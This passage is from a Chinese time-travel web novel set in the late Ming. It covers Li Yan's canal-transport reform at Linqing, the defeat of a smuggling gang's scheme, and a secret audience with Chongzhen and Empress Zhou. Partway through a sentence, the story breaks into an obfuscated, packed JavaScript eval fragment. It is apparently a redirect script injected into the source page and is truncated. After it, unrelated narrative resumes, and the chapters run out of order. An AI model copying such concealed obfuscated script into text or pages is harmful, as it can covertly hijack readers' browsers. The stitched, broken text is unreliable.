“反弹就弹压。”李炎语气坚决,“我带了一千精兵,不够可以从山东卫所调。但更重要的是——”他看向史可法,“要争取底层漕工的支持。他们苦漕帮久矣,只要让他们看到实实在在的好处,就会站到朝廷这边。” 史可法若有所思:“太保的意思是……发动漕工?” “对。”李炎起身,走到窗前,望着楼下码头,“史尚书,你看那些扛包的、拉纤的、掌舵的——他们才是运河真正的主人。漕帮盘剥他们,官府忽视他们。现在,朝廷要给他们尊严,给他们活路。你说,他们会选谁?” 史可法看着李炎的背影,忽然觉得,这位年轻的太保,眼光之毒、手段之狠、心志之坚,远超他的年龄和阅历。 “下官……明白了。” --- 酉时·漕工聚所 临清码头西侧,有片棚户区,低矮的窝棚挨挨挤挤,污水横流。这里是底层漕工的住处,白日卖苦力,夜晚蜷在草席上,一干就是一辈子。 李炎换了粗布衣服,只带孙传庭和两个亲兵,悄悄来到这里。史可法本要同行,被李炎劝住——他身份太敏感,容易打草惊蛇。 窝棚区中心有片空地,搭着个草棚,算是“公所”。此时正是收工时分,几十个漕工围坐,就着凉水啃窝头。见有生人来,都警惕地抬头。 “各位兄弟,叨扰了。”李炎拱手,“我是京城来的,想打听点漕运的事。” 一个老漕工打量他:“打听什么?” “听说朝廷要改革漕运,不知兄弟们怎么看?” 漕工们交换眼神,没人说话。半晌,一个年轻汉子嗤笑:“改革?改来改去,苦的还是我们。去年也说减税,结果呢?税没减,还多了个‘清淤费’!” 众人附和,怨气冲天。 李炎不恼,在空地上坐下:“若这次改革,是真改革呢?比如——废除所有苛捐杂税,漕工工钱翻倍,每日现结,不拖不欠。” “做梦吧!”老漕工摇头,“朝廷哪有钱?” “朝廷没钱,但漕运有钱。”李炎平静道,“每年四百万石漕粮,实际损耗、贪墨超过百万石。把这些钱省下来,足够给十万漕工涨工钱。” 漕工们安静了。他们不傻,知道漕运腐败,但从没想过,腐败的钱能落到自己手里。 “你是谁?”年轻汉子问。 李炎亮出腰牌——不是官凭,是京营的令牌,“我是钦差李炎的属下,奉命来听听漕工的心声。李大人说了,改革能不能成,关键在兄弟们愿不愿意支持。” “李大人……就是那个擒了潘永年的李太保?” “对。” 漕工们骚动起来。潘永年被擒的消息已经传开,底层漕工拍手称快,但也担心漕帮报复。 “李太保真能扳倒漕帮?”老漕工颤声问。 “已经在做了。”李炎道,“但漕帮树大根深,需要兄弟们帮忙——比如,检举黑船、揭发贪官、提供线索。当然,有风险,漕帮会报复。所以李大人承诺:凡举报者,赏银十两;凡因举报遭报复者,朝廷养其全家。” 十两银子,够一家老小吃喝一年。重赏之下,必有勇夫。 漕工们心动了。但长期的压迫让他们不敢轻易相信。 李炎不再多说,起身:“三日后,码头会贴出告示,上面有具体章程。兄弟们可以看看,若觉得可行,就到漕运衙门报名。告辞。” 他走出棚户区,孙传庭低声道:“大人,他们会信吗?” “会。”李炎肯定,“因为他们没得选。要么继续被盘剥,要么搏一把。是人,都会选后者。” 正说着,前方巷口闪出几个人,挡住去路。为首的是个疤脸壮汉,提着短棍,身后跟着七八个混混。 “几位,聊完了?”疤脸咧嘴笑,“聊得挺开心啊。” 孙传庭拔刀:“让开!” “哎哟,军爷好凶。”疤脸不退反进,“不过这儿是临清,不是京城。哥几个奉命,请这位爷去喝杯茶。” 李炎眯起眼睛:“奉谁的命?” “漕帮,临清分舵。”疤脸冷笑,“潘老大虽然栽了,但漕帮还在。李太保动我们的饭碗,就别怪我们不讲情面。” 话音未落,他身后混混们亮出兵器——不是刀剑,是渔叉、铁钩、船桨,都是水上械斗的家伙。 孙传庭护住李炎:“大人先走!” 李炎却摇头,从怀中掏出一物——不是枪,是枚掌心雷。他点燃引信,扔向空中。 “砰!” 爆炸声在暮色中格外刺耳。瞬间,周围屋顶、巷口冒出数十名士兵——都是孙传庭提前埋伏的。 疤脸脸色大变:“有埋伏!” “拿下!”李炎冷声。 士兵合围。混混们虽悍勇,但如何是正规军的对手?不过片刻,全被制服。 疤脸被押到李炎面前,犹自挣扎:“李炎!你抓了我,漕帮不会放过你!临清码头,明天就得停摆!” “停摆?”李炎俯视他,“我倒要看看,是你们漕帮说话算数,还是朝廷说话算数。” 他对孙传庭道:“押回去,严加审讯。我要知道,临清分舵还有多少人,据点在哪里,与哪些官员勾结。” “是!” 回到驻地时,宋应星迎上来,面色凝重:“大人,刚收到消息——漕帮在江南发动了!” --- 戌时·紧急军情 烛火下,三封急报摊在桌上。 第一封来自扬州:漕帮煽动数千漕工罢运,堵截运河,要求释放潘永年,废除新政。 第二封来自淮安:当地漕帮分舵袭击漕运衙门,打死官员三人,劫走库银五千两。 第三封最严重——来自南京:“漕帮勾结太湖匪寇,聚众数万,扬言若朝廷不妥协,就断漕运,攻州县。” “他们反了!”孙传庭拍案。 史可法脸色苍白:“下官失察……没想到漕帮如此大胆。” 李炎却异常平静。他盯着地图,手指划过运河线:“不是反,是试探。漕帮在试探朝廷的决心,也在试探我的底线。” “大人,要不要调兵镇压?”孙传庭问。 “调兵需要时间,而且容易激起民变。”李炎摇头,“漕帮聪明,他们打的是‘为民请命’的旗号,裹挟的是底层漕工。若我们武力镇压,正中下怀——他们会说朝廷不顾百姓死活,引发更大动荡。” “那怎么办?总不能妥协吧?” “当然不能妥协。”李炎眼中闪过冷光,“但镇压要讲方法。史尚书。” “下官在。” “你立刻回南京,做三件事:第一,联络可靠官员、士绅,陈明利害,争取支持;第二,开仓放粮,赈济因罢运失业的漕工,釜底抽薪;第三,发布告示,凡主动脱离漕帮者,既往不咎,还可优先录用为新漕军。” 史可法眼睛一亮:“分化瓦解?” “对。”李炎道,“漕帮十万之众,核心不过万余,大多是被裹挟的苦力。只要让他们看到朝廷的诚意、漕帮的虚伪,人心自然离散。” “下官这就去办!” 史可法连夜启程。李炎又对宋应星道:“先生,新式漕船的建造,必须加快。我要在三个月内,看到第一批百艘船下水。” “时间太紧……” “紧也要做。”李炎沉声道,“有船,才有底气。没有船,漕运命脉就捏在别人手里。” 宋应星咬牙:“老朽尽力!” 最后,李炎看向孙传庭:“孙将军,你带五百兵,护送史尚书南下。记住,沿途若遇漕帮阻挠,可武力清除,但尽量不伤及无辜。” “末将领命!”孙传庭迟疑,“那大人您……” “我留在临清。”李炎望向窗外夜色,“漕帮不是想让我妥协吗?我就让他们看看,什么是真正的……雷霆手段。” --- 子时·暗室密议 临清城,某处私宅密室。 烛台下坐着五人。主位是个富态商人,姓钱,临清最大的粮商,也是漕帮在山东的白手套。左手边是个师爷打扮的瘦子,右手边是个武官——临清卫千户,姓赵。另外两人,一个是本地举人,一个是寺庙住持。 “李炎到临清才一天,就抓了我们三十多个兄弟。”钱老板脸色阴沉,“潘老大栽在他手里,现在他又要动临清。诸位,咱们不能坐以待毙。” 赵千户冷哼:“他有一千兵,我有三千卫所兵。真要动手,未必怕他。” “不可。”师爷摇头,“李炎是钦差,有尚方宝剑。动他,就是造反。朝廷正愁没借口收拾咱们呢。” “那怎么办?等着他抄家?”举人急了,“我家三百亩地,年年‘孝敬’漕帮,账本要是落到李炎手里……” “账本必须毁掉。”钱老板咬牙,“但李炎盯得紧,不好动手。所以,咱们得让他……分心。” “怎么分心?” 钱老板看向住持:“大师,您庙里不是收留了不少流民吗?挑些胆大的,明日去码头闹事,就说是李炎改革,断了他们活路。闹得越大越好。” 住持捻着佛珠:“阿弥陀佛,出家人……” “事成之后,捐香火钱一千两。”钱老板打断。 住持合十:“我佛慈悲,渡人苦难,也是功德。” 钱老板又对赵千户道:“赵大人,您手下的兵,明日‘恰好’去码头巡逻。若流民与李炎的兵冲突,您就……维持秩序。” “维持秩序?”赵千户会意,“明白,一定‘公平公正’。” 最后,钱老板对师爷说:“先生,您联络南京那边,让他们再加把火。李炎不是要改革吗?咱们就让整个江南乱起来,看他顾哪头!” 五人密议到丑时才散。他们不知道,密室屋顶上,一个黑影悄然离去。 --- 寅时·李炎驻地 黑影是锦衣卫三人组中的“夜枭”,擅长潜伏追踪。他将密议内容原原本本汇报给李炎。 “果然沉不住气了。”李炎听完,冷笑,“流民闹事,卫所兵‘维持秩序’……好计策。可惜,用错了人。” 他唤来陈平:“去请宋先生。” 宋应星匆匆而来,睡眼惺忪:“大人有何吩咐?” “先生,我记得您设计过一种‘烟雾弹’?” “是。”宋应星点头,“用硝石、硫磺、木屑混合,点燃后产生浓烟,可遮蔽视线,但无毒。原想用于火攻时掩护撤退。” “现在有多少?” “材料充足,可现配百枚。” “好。”李炎下令,“立刻配制,明日我要用。” 又对夜枭道:“你带人去盯住那五个人,尤其钱老板和赵千户。他们有任何异动,立即回报。” “遵命。” 众人领命而去。李炎独自站在窗前,望着夜色中的临清城。 这座城市繁华,但繁华之下,是无数利益交织的暗网。漕帮、粮商、卫所、士绅、寺庙……他们盘踞在此几十年,早已形成利益共同体。现在,他要打破这个共同体,必然遭到疯狂反扑。 但,那又如何? 他来到这个时代,本就是要翻天覆地。 “大人,您该休息了。”春梅轻声道。 李炎转身,看着这个一路跟随的宫女,忽然问:“春梅,你怕吗?” 春梅摇头:“有大人在,奴婢不怕。” “如果……我败了呢?” “那奴婢就陪大人一起。”春梅声音很轻,但坚定,“反正这世上,奴婢也没什么牵挂了。” 除了那个生死未卜的弟弟。 李炎心中涌起暖意,也涌起责任。他不仅要救大明,还要救这些具体的人——春梅,漕工,还有千千万万在乱世中挣扎的百姓。 “去睡吧。”他柔声道,“明天,还有一场硬仗。” --- 卯时·码头骚动 天刚亮,码头就出事了。 数百流民突然涌来,喊着“要活路”“反改革”,冲击漕运衙门临时办公点。守卫士兵试图阻拦,但流民中有混入的漕帮打手,故意推搡冲突,局面迅速失控。 “打人了!官兵打人了!”有人尖叫。 混乱中,赵千户带着三百卫所兵“及时”赶到,将流民和守卫隔开。但卫所兵明显偏袒流民,对守卫推搡喝骂。 “都住手!”李炎的声音从高处传来。 他站在码头货栈二楼,身后站着宋应星和二十名亲兵。晨光中,他的身影挺拔如松。 “李太保!”赵千户拱手,“末将正在维持秩序,这些流民……” “流民?”李炎打断,“我怎么看到,有人袖藏短棍,有人腰间别刀?赵千户,你维持秩序,就是这样维持的?” 赵千户脸色一变。 李炎不再理他,面向流民:“诸位乡亲,我是钦差李炎。你们有什么诉求,可以派代表来说。但冲击衙门,是重罪。” 流民安静了一瞬,随即有人喊:“我们要活路!你改革漕运,断了我们生计!” “改革不是断生计,是给新生计。”李炎朗声道,“从今日起,临清码头招募漕工,日薪三十文,管两顿饭,工钱日结。凡报名者,先发三日工钱作安家费!” 这话一出,流民哗然。三十文,比现在漕帮给的工钱高一倍,还日结、管饭? “真的假的?” “骗人的吧?” 李炎挥手,亲兵抬出三口大箱,打开——里面是满满的白银和铜钱。 “钱就在这里。”李炎道,“想报名的,现在就可以领钱。但有一条——领了钱,就要守规矩,听调度。闹事者,不但没工钱,还要治罪。” 流民犹豫了。大多数人只是被煽动,并非真想造反。现在有实实在在的好处,谁还愿意闹? 混在人群中的漕帮打手急了,高喊:“别信他!朝廷什么时候说话算数过?领了钱,明天就抓你充军!” 李炎眼神一厉:“宋先生。” 宋应星点头,对身边工匠示意。十几个陶罐被点燃,扔向打手聚集处。 “砰砰砰——” 陶罐炸开,喷出浓密白烟,瞬间笼罩那片区域。打手们被烟呛得咳嗽流泪,慌乱中现了原形——他们抽出短棍、匕首,与周围真正的流民截然不同。 “拿下!”李炎下令。 亲兵冲入烟中,精准抓捕。不过片刻,三十多个打手全被制服。 烟散,流民们看清真相,顿时怒了:“他们是漕帮的人!故意煽动我们!” “对!我们被骗了!” 民心瞬间逆转。李炎趁热打铁:“现在,愿意报名的,到这边登记。不愿意的,可以离开,绝不追究。” 大多数流民涌向登记处。少数迟疑的,也默默退走。 赵千户脸色铁青,想说什么,却见李炎冷冷看向他:“赵千户,你维持秩序有功,本官会向朝廷为你请功。不过……”他话锋一转,“本官接到举报,说你与漕帮勾结,克扣军饷,私设关卡。此事,本官会查实。在查清之前,你的兵,撤出码头。” “你!”赵千户怒目而视。 李炎亮出七星令:“赵千户,要抗命吗?” 赵千户咬牙,最终低头:“末将……遵命。” 卫所兵撤走。码头秩序恢复,甚至比之前更有序——新招募的漕工干劲十足,因为他们看到了希望。 --- 巳时·乘胜追击 首战告捷,李炎没有停歇。 他命人张贴告示,公布《漕运改革章程》,同时宣布:即日起,临清码头所有货栈、仓库,接受官府清查。凡配合者,既往不咎;凡隐瞒、抗拒者,一律查封。 钱老板的粮仓首当其冲。当官兵上门时,他还在家中喝茶,以为李炎不敢动他——他在临清经营三十年,上下打点,自以为根基深厚。 “钱老板,这是搜查令。”带队的是孙传庭留下的副将,“请配合。” “你们敢!”钱老板拍案,“我是临清商会会长,与布政使大人……” “与谁都没用。”副将冷声,“李太保有令:凡阻挠清查者,当场拿下。钱老板,你要试试吗?” 钱老板看到门外全副武装的士兵,终于怂了。 清查结果触目惊心:钱家仓库里,不仅有囤积的粮食,还有走私的盐铁、甚至军械。账本更惊人——上面记录了历年贿赂官员的明细,从知县到布政使,涉及山东官场半壁江山。 “抄家。”李炎下令,“钱老板押入大牢,账本封存,另抄一份快马送京。” 同时,赵千户的卫所也被查。查出克扣军饷三万两,私设关卡收费五万两,与漕帮分赃记录清清楚楚。 “一并拿下。” 一日之间,临清两大巨头倒下。消息传开,全城震动。其他商户、官员惶惶不可终日,有连夜出逃的,有主动投案的,有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“要改,就改彻底。”顾炎武目光炯炯,“不仅要改革漕运,还要改革税制、军制、科举。但饭要一口口吃,漕运是突破口。只要漕运改革成功,就能证明新政可行,就能争取更多支持。” 李炎与宋应星对视,都看到对方眼中的振奋。 有了顾炎武加入,改革团队如虎添翼。 “先生若不嫌弃,请任漕运总督衙门顾问,参赞改革。”李炎郑重邀请。 顾炎武深深一揖:“固所愿也,不敢请耳。” --- 未时·江南急报 正当李炎与顾炎武、宋应星商议细节时,又一封急报传来。 这次不是坏消息——史可法在南京取得突破。 他联合南京六部中正直官员,说服魏国公徐弘基(徐达后人)出面调停。徐家在江南威望极高,他一表态,许多观望的士绅开始动摇。 同时,史可法开仓放粮,招募失业漕工修堤、疏浚,以工代赈,稳住了局面。 更关键的是,他查出了漕帮与南京某些官员勾结的证据,当众公布。舆论哗然,漕帮从“为民请命”变成了“官商勾结”,人心尽失。 “史尚书好手段!”宋应星赞叹。 顾炎武却皱眉:“虽暂时稳住,但根本问题未解。江南士绅对朝廷离心,不是一天两天了。太保,您可知,江南民间流传一句话?” “什么话?” “‘崇祯皇帝坐北京,不如李闯王坐南京。’” 李炎瞳孔一缩。这话太毒了,但反映了一个残酷现实——在江南百姓看来,远在北京的朝廷,除了收税加派,没带来任何好处。而近在眼前的漕帮盘剥、官员腐败,却是实实在在的苦难。 “所以改革必须成功。”李炎沉声道,“要让江南百姓看到,朝廷能为他们做主,能带来实实在在的好处。” 他提笔给史可法回信,提出新方案: 一、在江南试行“漕粮折银”,百姓可按市价交银代粮,免去运输损耗。 二、将漕运盈余的百分之三十,返还地方,用于修桥铺路、兴办学堂。 三、在南京设立“漕运议会”,由地方士绅、漕工代表、官员共同议事,监督漕运。 “这……”顾炎武看完,神色复杂,“太保,这三条若施行,等于把部分漕运权力下放地方。朝廷那边……” “朝廷那边,我去说服。”李炎道,“权力下放不可怕,可怕的是权力滥用。只要监管到位,让利于民,反而能凝聚人心。” 他想起后世“分税制”的经验——中央与地方合理分权,才能激发活力。大明的问题,就是中央集权过度,地方毫无积极性。 “太保远见,草民佩服。”顾炎武深深一揖。 --- 申时·潘永年的供词 地牢里,潘永年终于开口了。 连续三天的审讯,锦衣卫用尽了手段——不是酷刑,是心理战。他们让潘永年看到漕帮分舵一个个被端,同党一个个落网,最后连他最信任的师爷也招供了。 “我说……我都说……”潘永年瘫在草席上,眼神涣散,“但我要见李炎……只见他。” 李炎亲自来到地牢。 潘永年看着他,忽然笑了:“李太保,你赢了。但你知不知道,你动了多少人的饭碗?” “愿闻其详。” “从杭州到通州,运河沿线,靠漕运吃饭的,不下百万人。”潘永年声音嘶哑,“漕帮只是明面上的,暗地里,有多少官员、士绅、商贾,靠着漕运发财?你改革,断的不是漕帮的财路,是整个利益集团的财路。” “我知道。” “知道你还敢做?”潘永年瞪大眼睛,“你就不怕……被暗杀?被下毒?被栽赃?这运河上,死个钦差,不算什么新鲜事。” 李炎平静地看着他:“怕,但我更怕大明亡国。潘永年,你也算个人物,难道就甘心看着这条运河,烂下去?” 潘永年沉默良久,忽然问:“李太保,若我全招了,能活吗?” “不能。”李炎实话实说,“你罪行太重,必须死。但如果你配合,我可以保你家人平安,不抄家,不株连。” 这对潘永年来说,已经是最好结果。他闭目良久,终于道:“好,我招。” 他招供的内容,触目惊心: 漕帮不仅走私、贪墨,还与关外有贸易——向满清出售铁器、火药、药材,换取人参、毛皮。更可怕的是,他们暗中资助一些“山寨”,假扮流寇劫掠,实则控制地方。 “还有……”潘永年犹豫片刻,“漕帮与宫里……也有联系。” “宫里?谁?” “具体是谁,我不知道。但每年,都有一笔十万两的银子,从漕帮账上划走,送往北京某个府邸。接头的是个太监,姓……姓杜。” 杜勋!坤宁宫总管太监! 李炎心中一寒。原来漕帮的靠山,不只是地方官员,还有宫里!难怪如此猖狂。 “账本呢?” “在……在杭州总舵,密室暗格里。”潘永年喘着气,“暗格机关,只有我和师爷知道。师爷已招,你应该拿到了。” 李炎确实拿到了。但他没想到,这账本牵扯如此之深。 “还有什么要说的?” 潘永年看着他,忽然道:“李太保,你是个能臣,但……太急了。大明这艘船,已经千疮百孔,你修得再快,也快不过沉没的速度。” “那就尽力让它沉得慢一点。”李炎起身,“至少,让船上的人,有机会上救生艇。” 他走出地牢,阳光刺眼。 春梅等在门外,递上披风:“大人,宫里来人了。” --- 酉时·天使到来 来的是个年轻太监,姓高,司礼监随堂太监,王承恩的干儿子。他带来崇祯的密旨。 密旨内容让李炎心惊: 一、漕运改革照常进行,但“不宜过激”,以免激起民变。 二、涉及宫里的事,“暂缓查处”,等“时机成熟”。 三、命李炎“速往大同”,安抚吴三桂,务必使其“不生异心”。 显然,崇祯收到了某些压力,妥协了。宫里那条线,他暂时不想动。 李炎心中涌起无力感。这就是政治——有时候,明知是毒瘤,也不能马上割,因为牵扯太多。 “李太保,皇上还有口谕。”高太监低声道,“皇上说:爱卿之心,朕知之。但治大国如烹小鲜,不可操之过急。有些事……要等。” 等什么?等时机,等实力,还是等……崇祯下决心? 李炎不知道。但他知道,自己不能停。 “臣领旨。”他躬身,“请公公回禀皇上:臣必稳妥行事,但改革……不会停。” 高太监深深看了他一眼:“太保保重。” 太监走后,顾炎武和宋应星进来,面色凝重。他们都猜到了密旨内容。 “太保,还要继续吗?”宋应星问。 “继续。”李炎斩钉截铁,“但策略要调整——宫里那条线,暂时不动。但地方上的贪官污吏、漕帮余孽,继续清除。改革照常推进,只是……低调些。” 他看向顾炎武:“先生,可能要委屈您,暂时不在明面上任职。但改革方案,还需您全力协助。” 顾炎武洒脱一笑:“草民本就是一介布衣,无所谓明面暗面。能为天下做些实事,足矣。” “好。”李炎铺开地图,“接下来,我们要做三件事:第一,巩固临清成果,将新漕制推广到整个山东段;第二,准备北上大同,会会吴三桂;第三……” 他顿了顿:“秘密调查宫里那条线。不动,不等于不查。等时机成熟,这些账,都要算。” --- 戌时·临别之夜 夜色降临,运河上灯火点点。 李炎站在码头,望着南下的船队——史可法已经稳住江南,改革有了基础;顾炎武留在临清,继续完善方案;宋应星的新船正在建造,未来可期。 但他,要北上了。 去大同,见那个历史上毁誉参半的吴三桂。是安抚,是拉拢,也是……戒备。 “大人,船备好了。”孙传庭走来,“五百精兵,明日出发。” 李炎点头。他看向身边的春梅:“你……留在临清吧。这里安全些,等我从大同回来,再带你去保定找你弟弟。” 春梅却摇头:“奴婢跟大人去。” “大同危险。” “哪里不危险?”春梅轻声道,“这世道,没有安全的地方。奴婢……想跟着大人。” 李炎看着她眼中的坚定,终于点头:“好。” 夜风起,带来运河的水汽,也带来远方的气息。 前路依然艰险,但李炎心中,却比来时多了几分底气。 因为他不是一个人在战斗了。有史可法在江南周旋,有顾炎武在临清谋划,有宋应星在改造船只,还有千万渴望改变的百姓。 星星之火,可以燎原。 而他,要做那点火的人。 “走吧。”他转身,“去大同。” 月光洒在运河上,波光粼粼,如一条银色的路,通向不可知的远方。 而李炎,将沿着这条路,继续走下去。 直到,为这个时代,点亮新的黎明。 【第九章完】 7. 紫禁城深处 子时·武英殿密室 烛火在铜灯里摇曳,将崇祯与李炎的身影投在墙上,拉得很长。赐宴的喧嚣早已散去,乾清宫的庆功酒气被夜风吹散,此刻的武英殿偏殿密室里,只有君臣二人。 “爱卿可知,朕为何深夜召见?”崇祯的声音很轻,带着宴后的疲惫,但眼神清醒得可怕。 李炎躬身:“臣愚钝。” 崇祯从御案下取出一只紫檀木匣,推开暗锁。匣内没有金银珠宝,只有一叠泛黄的文书。他抽出最上面一封,递给李炎。 “看看。” 李炎接过,就着烛光细读。越读,手心冷汗越多。 这是锦衣卫的密报,时间标注是三个月前——那时李自成刚破太原。密报详细记载了朝中二十三官员与闯军的秘密往来,名单触目惊心:有六部侍郎,有都察院御史,甚至还有一位皇室宗亲。 “陛下……这些……” “都是真的。”崇祯的声音平静得令人心寒,“锦衣卫查了半年,人证物证俱在。朕一直压着,等的就是今天。” 李炎忽然明白了。庆功宴上的封赏,朝堂上的赞誉,都是表象。真正的清算,现在才开始。 “陛下要臣……” “不是要你杀人。”崇祯打断,“是要你……给他们一条生路。” 李炎愕然抬头。 烛光下,这位年轻皇帝的脸上有深深的疲惫,但也有一种罕见的、近乎悲悯的清醒:“北京守住了,但大明还在悬崖边上。闯贼虽退,元气未伤;清虏虽走,野心未灭。朝廷……经不起大清洗了。” 他走到窗前,望着夜空:“朕登基十七年,杀了多少大臣?袁崇焕、陈新甲、薛国观……杀了一个,又来一个。党争不绝,贪腐不止。朕累了,也明白了——杀人解决不了根本。” “那陛下的意思是……” “让他们自己选。”崇祯转身,眼中闪过一丝决绝,“名单上的人,三日内,自行辞官还乡,朕不追究。若三日后还在朝堂……就别怪朕无情了。” 李炎心中震动。这比直接杀人更狠——逼人自断前程,还要感恩戴德。而且名单一旦泄露,这些人为了自保,很可能互相攀咬,引发更大动荡。 “陛下,此事若处理不当……” “所以朕交给你。”崇祯直视李炎,“你守住了北京,在军中有了威望,在民间有了名声。更重要的是——你不是这个圈子的人。” 他走到李炎面前,压低声音:“朝堂这潭水太深,朕身边的人,或多或少都有牵扯。只有你,李炎,你是从天而降的变数,跟谁都没有瓜葛。” 李炎明白了。崇祯要用他这把“新刀”,去斩那些盘根错节的旧藤。 “臣……需要权柄。” “朕给你。”崇祯毫不犹豫,“明日朝会,朕会加封你为‘太子太保、总督天下兵马’,赐蟒袍玉带,有先斩后奏之权。但真正的权柄……” 他取出一枚黑铁令牌,正面刻“如朕亲临”,背面是北斗七星图案。 “这是‘七星令’,太祖所制,专为处置谋逆大案。持此令者,可调锦衣卫,可入任何衙门,可见任何人——包括朕的后宫。” 李炎接过令牌,入手冰凉沉重。他知道,接下的不只是权力,更是万钧重担。 “名单上的人,朕已经暗中见过三个。”崇祯的声音更低了,“他们愿意戴罪立功,做朕的耳目。具体是谁,朕不能说,但他们会暗中助你。” “陛下信他们?” “不信。”崇祯苦笑,“但朕别无选择。李炎,大明就像一艘漏水的船,朕能做的,就是一边舀水,一边找木板修补。而你和这些人……就是朕找到的木板。” 李炎沉默良久,终于单膝跪地:“臣……领旨。” “起来。”崇祯扶起他,“还有一事——吴三桂。” 李炎心中一紧。 “锦衣卫探得,吴三桂并未随多尔衮回关外,而是驻兵三河县,正在招兵买马。”崇祯盯着他,“你说,他想做什么?” “观望。或者……待价而沽。” “朕也这么想。”崇祯眼中闪过厉色,“但朕不能让他观望太久。爱卿,给你一个月时间,整合京营,整饬边防。一个月后,朕要你……去会会这位平西伯。” 不是征讨,是“会会”。李炎听出了弦外之音——崇祯对吴三桂还抱有期待,或者说,不得不抱有期待。 “臣明白了。” “去吧。”崇祯挥挥手,忽然咳嗽起来,咳得撕心裂肺。王承恩从暗处闪出,递上药碗。 李炎这才注意到,崇祯的脸在烛光下苍白得可怕,眼窝深陷,完全是强撑着一口气。 “陛下保重龙体。” 崇祯摆摆手,待咳嗽稍平,才哑声道:“朕的身体朕知道。李炎,大明……朕就托付给你了。” 这话太重了。李炎想说些什么,但最终只是深深一揖,退出密室。 门外,夜风刺骨。 --- 寅时·李炎府邸 说是府邸,其实是临时拨给他的一处三进院落,原主人是个已逃往南京的侍郎。李炎回到时,已近寅时,但书房里还亮着灯。 推门进去,宋应星正伏案画图,旁边堆着厚厚一叠草稿。老人听见动静抬头,眼中血丝密布。 “先生还没休息?” “睡不着。”宋应星指着图纸,“李大人请看,这是老朽设计的‘自生火铳’。” 李炎凑近细看。图纸上的火枪结构复杂,但原理清晰——利用燧石击发后,通过一套齿轮连杆,自动完成退壳、装弹、闭锁的过程。 “这……能实现吗?” “理论上可以。”宋应星在关键部位标注,“难点在于弹簧钢的强度和齿轮精度。老朽已命工匠试制了三个样品,都失败了——要么卡壳,要么炸膛。” 他叹了口气:“若是时间充裕,给老朽三年,或许能成。但现在……” “三年太久了。”李炎摇头,“我们需要马上能用的东西。” “那这个。”宋应星抽出另一张图纸,“改良版‘一窝蜂’火箭。” 这是明代已有的兵器,一次可发射三十二支火箭,但精度差,射程近。宋应星的改良版增加了稳定尾翼,改进了发射架,还设计了可调节仰角的基座。 “试射过了?” “午后试了三发,最远射程六百步,三十步内散布可接受。”宋应星难得露出笑容,“关键是好造,一个熟练工匠一日可产两具。” “好!”李炎拍案,“立刻量产,先造一百具,配属四大城门。” “还有这个。”宋应星又取出一物——那是个铁壳圆球,拳头大小,表面有网格纹路。 “这是……” “掌心雷。”老人眼中闪过冷光,“外壳铸铁,内装火药铁砂,留一小孔装引信。使用时点燃引信,投掷出去。虽不及大人带来的手雷,但胜在易造,日产百枚不难。” 李炎拿起一颗掂量,约莫一斤重,投掷距离不会太远,但用于巷战或守城,足够了。 “先生真乃国士。”他由衷道。 “国士不敢当。”宋应星摆摆手,“老朽只是不忍见神州陆沉罢了。李大人,有句话不知当讲不当讲。” “先生请说。” “今日庆功宴上,老朽观察百官神情,真正为北京守住而高兴的,不到三成。”宋应星压低声音,“更多的人……在害怕。” “怕什么?” “怕您。”老人直言不讳,“您守住了城,得了军心民心,又深得皇上信任。在某些人看来,这比李自成破城更可怕。” 李炎沉默。他知道宋应星说得对。朝堂政治远比战场复杂,有时候,盟友比敌人更危险。 “多谢先生提醒。” “另外……”宋应星犹豫片刻,“老朽听闻,嘉定伯周奎虽已下狱,但其党羽仍在活动。还有,坤宁宫那边……” “先生听到了什么?” “宫中有传言,说皇后娘娘绝食三日了。”宋应星叹息,“皇上虽未废后,但坤宁宫已被软禁。那些外戚故旧,怕是会借此生事。” 李炎心中一沉。这事处理不好,会引发更大的政治地震。 正说着,门外传来脚步声。陈平的声音响起:“大人,曹化淳曹公公求见,说有急事。” 李炎与宋应星对视一眼:“请他进来。” 曹化淳不是一个人来的,他身后还跟着个被黑袍罩住全身的人。进了书房,黑袍人掀开兜帽,露出一张苍白但秀丽的脸——竟是春梅。 “春梅?你怎么……” “李大人救命!”春梅扑通跪地,泪如雨下,“皇后娘娘……娘娘要寻短见!” --- 卯时·坤宁宫 坤宁宫大门紧闭,门外站着八名锦衣卫,按刀而立。见李炎和曹化淳来,为首的百户躬身行礼:“李大人,皇上有旨,任何人不得入内。” 李炎亮出七星令:“皇上密旨,让我见皇后。” 百户验过令牌,这才放行。曹化淳留在门外,李炎独自入内。 宫殿里没有点灯,只有晨光从窗棂透入,在地上投下斑驳光影。周皇后坐在凤榻上,穿着素白常服,未施粉黛,头发散乱。她怀里抱着个木盒,眼神空洞。 “臣李炎,参见皇后娘娘。” 周皇后缓缓抬头,看着李炎,忽然笑了,笑声凄楚:“李侍郎……不,现在是李太保了。你是来赐白绫的,还是来送毒酒的?” “臣是来救娘娘的。” “救?”周皇后笑声更厉,“本宫通敌卖国,罪该万死,还有什么可救的?” 李炎走近几步,压低声音:“娘娘若是真想死,三天前就该死了。既然等到今天,说明娘娘……还想活。” 周皇后浑身一震,抱紧木盒。 “盒子里是什么?”李炎问。 周皇后迟疑良久,终于打开盒盖。里面没有金银珠宝,只有一叠信——都是她父亲周奎写给她的,时间跨度长达三年。 李炎快速翻阅。早期的信还正常,多是家常问候;从去年开始,信里开始出现“早做打算”“留条后路”之类的暗示;最近三个月,更是明目张胆地劝她“为家族计,不可愚忠”。 最后一封信,是城破前三日写的:“闯王仁厚,必不害我周家。吾儿当劝陛下早降,可保富贵……” “这些信,皇上知道吗?”李炎问。 周皇后摇头,泪如雨下:“本宫不敢说……父亲每次来信,都让本宫阅后即焚。但本宫……舍不得烧。那是本宫的亲爹啊……” 她忽然抓住李炎衣袖:“李大人,本宫求你一件事——让本宫见皇上最后一面。有些话,本宫要亲口对他说。” “什么话?” “关于……太子。” 李炎瞳孔一缩。 周皇后从木盒底层取出一枚玉佩,塞到李炎手中:“这是本宫的贴身之物。你交给皇上,他就明白了。” 玉佩温润,刻着并蒂莲图案,背面有个小小的“检”字——崇祯的名字朱由检。 “娘娘,太子他……” “太子不在宫中。”周皇后声音低得几乎听不见,“三日前,本宫已命心腹太监,将太子和永王、定王送出宫,藏在……” 她凑到李炎耳边,说了个地址。 